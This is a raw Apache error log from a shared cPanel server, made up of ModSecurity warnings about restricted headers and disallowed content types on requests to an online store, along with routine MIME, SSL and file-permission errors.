[Fri Jul 17 09:26:54.082740 2026] [security2:error] [pid 2028246:tid 2028246] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoBjsMb3am0TgkjETgSwAAAAo"]
[Fri Jul 17 09:26:54.083472 2026] [security2:error] [pid 2028246:tid 2028246] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoBjsMb3am0TgkjETgSwAAAAo"]
[Fri Jul 17 09:26:54.116353 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:54.183051 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:54.281322 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:54.385338 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:54.489169 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:54.650329 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:55.179676 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylonpa-global": Permission denied [hostname "ceylonparampara.lk.66-85-158-91.cpanel.site"] [uri "/cpanel-errors/cptechdomain.shtml"] [unique_id "almoB1CBpfuYyhJ140vYPwAAAB4"]
[Fri Jul 17 09:26:55.321841 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylonpa-ip": Permission denied [hostname "ceylonparampara.lk.66-85-158-91.cpanel.site"] [uri "/cpanel-errors/cptechdomain.shtml"] [unique_id "almoB1CBpfuYyhJ140vYPwAAAB4"]
[Fri Jul 17 09:26:56.992367 2026] [security2:error] [pid 2028246:tid 2028246] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoBjsMb3am0TgkjETgSwAAAAo"]
[Fri Jul 17 09:26:58.087263 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:58.190267 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:58.227403 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:58.431256 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:58.530009 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:58.690762 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:48322] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:58.832934 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:58.880651 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/component/software"] [unique_id "almoCkkXT4NBqALj2laChwAAABA"]
[Fri Jul 17 09:26:58.880753 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/component/software"] [unique_id "almoCkkXT4NBqALj2laChwAAABA"]
[Fri Jul 17 09:26:58.881170 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/component/software"] [unique_id "almoCkkXT4NBqALj2laChwAAABA"]
[Fri Jul 17 09:26:58.938234 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:59.125446 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almoCkkXT4NBqALj2laChwAAABA"]
[Fri Jul 17 09:26:59.923012 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:48492] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:27:00.385587 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/component/ups"] [unique_id "almoDBHlOGcokz2QIwTZBwAAAAM"]
[Fri Jul 17 09:27:00.385704 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/component/ups"] [unique_id "almoDBHlOGcokz2QIwTZBwAAAAM"]
[Fri Jul 17 09:27:00.386027 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/component/ups"] [unique_id "almoDBHlOGcokz2QIwTZBwAAAAM"]
[Fri Jul 17 09:27:00.625694 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almoDBHlOGcokz2QIwTZBwAAAAM"]
[Fri Jul 17 09:27:01.245807 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:01.306697 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:01.751417 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.116.45.0:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylonpa-global": Permission denied [hostname "ceylonparampara.lk.66-85-158-91.cpanel.site"] [uri "/cpanel-errors/cptechdomain.shtml"] [unique_id "almoDQ7FYe46zHK_jL3VoQAAABk"]
[Fri Jul 17 09:27:01.751458 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.116.45.0:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylonpa-ip": Permission denied [hostname "ceylonparampara.lk.66-85-158-91.cpanel.site"] [uri "/cpanel-errors/cptechdomain.shtml"] [unique_id "almoDQ7FYe46zHK_jL3VoQAAABk"]
[Fri Jul 17 09:27:02.213019 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/component/web-camera"] [unique_id "almoDkkXT4NBqALj2laCigAAABA"]
[Fri Jul 17 09:27:02.213175 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/component/web-camera"] [unique_id "almoDkkXT4NBqALj2laCigAAABA"]
[Fri Jul 17 09:27:02.213696 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/component/web-camera"] [unique_id "almoDkkXT4NBqALj2laCigAAABA"]
[Fri Jul 17 09:27:03.912893 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:59996] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:27:04.182677 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:04.961490 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almoDkkXT4NBqALj2laCigAAABA"]
[Fri Jul 17 09:27:06.324238 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoErEWOaI5pmYo9fnUnAAAAAA"]
[Fri Jul 17 09:27:06.324335 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoErEWOaI5pmYo9fnUnAAAAAA"]
[Fri Jul 17 09:27:06.324974 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoErEWOaI5pmYo9fnUnAAAAAA"]
[Fri Jul 17 09:27:06.532822 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoErEWOaI5pmYo9fnUnAAAAAA"]
[Fri Jul 17 09:27:07.200341 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:07.459020 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:07.805381 2026] [security2:error] [pid 2029579:tid 2029579] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoEyRF0UOO1RzB5_8z_QAAAA4"]
[Fri Jul 17 09:27:07.805492 2026] [security2:error] [pid 2029579:tid 2029579] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoEyRF0UOO1RzB5_8z_QAAAA4"]
[Fri Jul 17 09:27:07.806198 2026] [security2:error] [pid 2029579:tid 2029579] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoEyRF0UOO1RzB5_8z_QAAAA4"]
[Fri Jul 17 09:27:08.174430 2026] [security2:error] [pid 2029579:tid 2029579] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoEyRF0UOO1RzB5_8z_QAAAA4"]
[Fri Jul 17 09:27:09.443697 2026] [security2:error] [pid 1993572:tid 1993572] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoFYl9vhFBGA6D8l-ADQAAAAw"]
[Fri Jul 17 09:27:09.443801 2026] [security2:error] [pid 1993572:tid 1993572] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoFYl9vhFBGA6D8l-ADQAAAAw"]
[Fri Jul 17 09:27:09.444406 2026] [security2:error] [pid 1993572:tid 1993572] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoFYl9vhFBGA6D8l-ADQAAAAw"]
[Fri Jul 17 09:27:09.639837 2026] [security2:error] [pid 1993572:tid 1993572] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoFYl9vhFBGA6D8l-ADQAAAAw"]
[Fri Jul 17 09:27:09.900157 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almoFVh1WDijTxd1xw5SHwAAAAc"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:27:09.900194 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almoFVh1WDijTxd1xw5SHwAAAAc"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:27:10.955299 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoFpBVIrrUwtEhdafWwAAAAAU"]
[Fri Jul 17 09:27:10.955414 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoFpBVIrrUwtEhdafWwAAAAAU"]
[Fri Jul 17 09:27:10.956131 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoFpBVIrrUwtEhdafWwAAAAAU"]
[Fri Jul 17 09:27:11.117005 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
